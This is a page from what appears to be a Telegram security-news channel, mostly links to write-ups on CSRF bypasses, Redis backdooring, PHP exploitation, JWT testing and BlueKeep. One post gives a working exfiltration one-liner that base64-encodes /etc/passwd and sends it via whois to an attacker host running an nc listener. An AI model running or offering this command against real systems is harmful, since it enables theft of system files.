Information Security
@sec_nerd_en
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
408 subscribers
Information Security
https://medium.com/@osamaavvan/json-csrf-to-formdata-attack-eb65272376a2
Medium
JSON CSRF To FormData Attack
So you guys must be aware of CSRF attack, if not then here is a short intro:
86 views
Information Security
https://medium.com/@d.bougioukas/red-team-diary-entry-2-stealthily-backdooring-cms-through-redis-memory-space-5813c62f8add
Medium
Red Team Diary, Entry #2: Stealthily Backdooring CMS Through Redis’ Memory Space
How to leverage unprotected Redis instances for stealthy payload transfers and lateral movement
85 views
Information Security
https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee
Medium
Bypassing CSRF Protection
Protection exists != not exploitable.
101 views
Information Security
https://securityonline.info/list-php-exploitation-codephp-exploitation-codephp-object-injectioncommand-execution/
Penetration Testing
List of PHP Exploitation Code • Penetration Testing
Remote code execution via PHP,PHP Exploitation Code,PHP Object Injection,Command Execution,Information Disclosure,php code audit
114 views
Information Security
https://www.fireeye.com/blog/threat-research/2019/04/finding-weaknesses-before-the-attackers-do.html
181 views
Information Security
https://medium.com/@chawdamrunal/when-i-found-iframe-injection-and-illegal-redirect-dom-based-cfbbcec21a7
Medium
When i found iframe injection and illegal redirect (dom based)
An iFrame injection is a very common cross site scripting (or XSS) attack. It consists of one or more iFrame tags that have been inserted…
95 views
Information Security
https://www.elttam.com.au/blog/ruby-deserialization/
91 views
Information Security
https://medium.com/@mehulcodes/50-thousand-files-disclosing-idor-critical-499fbb48893f
Medium
50 Thousand Files Disclosing IDOR (Critical)
Hello Hacker
92 views
Information Security
https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1
Medium
[ BUG BOUNTY ] Firebase Database Takeover
بسم الله الرحمن الرحيم
81 views
Information Security
https://bananamafia.dev/post/frida-fuzz/
78 views
Information Security
https://buer.haus/2019/10/18/a-tale-of-exploitation-in-spreadsheet-file-conversions/
76 views
Information Security
https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet
GitHub
GitHub - dustyfresh/PHP-vulnerability-audit-cheatsheet: This will assist you in the finding of potentially vulnerable PHP code.…
This will assist you in the finding of potentially vulnerable PHP code. Each type of grep command is categorized in the type of vulnerabilities you generally find with that function. - dustyfresh/P...
87 views
Information Security
Have limited ways to exfiltrate data? Use Whois!

attacker: nc -l -v -p 53 | sed "s/ //g" | base64 -d

victim: whois -h $attackerIP -p 53 cat /etc/passwd | base64
107 views
Information Security
https://github.com/securing/IOSSecuritySuite
GitHub
GitHub - securing/IOSSecuritySuite: iOS platform security & anti-tampering Swift library
iOS platform security & anti-tampering Swift library - securing/IOSSecuritySuite
87 views
Information Security
Information Security
https://mazinahmed.net/blog/breaking-jwt/
https://github.com/mazen160/jwt-pwn
GitHub
GitHub - mazen160/jwt-pwn: Security Testing Scripts for JWT
Security Testing Scripts for JWT. Contribute to mazen160/jwt-pwn development by creating an account on GitHub.
91 views
Information Security
https://incogbyte.github.io/pathtraversal/
87 views
Information Security
https://thehackernews.com/2019/10/nginx-php-fpm-hacking.html
98 views
Information Security
https://www.twitch.tv/videos/500406087
Twitch
Solving CTFs from Burp Suite's Web Academy
nahamsec - Science & Technology - Twitch
93 views
Information Security
https://www.youtube.com/watch?v=yWUroCmeKgQ
YouTube
แฮกช่องโหว่ Windows ยิงแล้วทำให้เครื่องอื่นจอฟ้าดับไปได้ #Bluekeep (CVE-2019-0708)
ทดสอบเพื่อการศึกษาเท่านั้นอย่าเอาไปแฮกคนอื่นนะจ๊ะ https://www.exploit-db.com/exploits/46946 *แก้ไขจุดผิดในวีดีโอจากกระทบ Windows 2018 เป็น 2008
95 views
Information Security
https://www.boozallen.com/c/insight/blog/wrapping-up-the-shellcode-signature-series.html
Boozallen
Wrapping Up the Shellcode Signature Series
Our Shellcode Signatures Series provides tradecraft for cyber defenders to take as they protect their organizations from persistent, innovative attackers.
100 views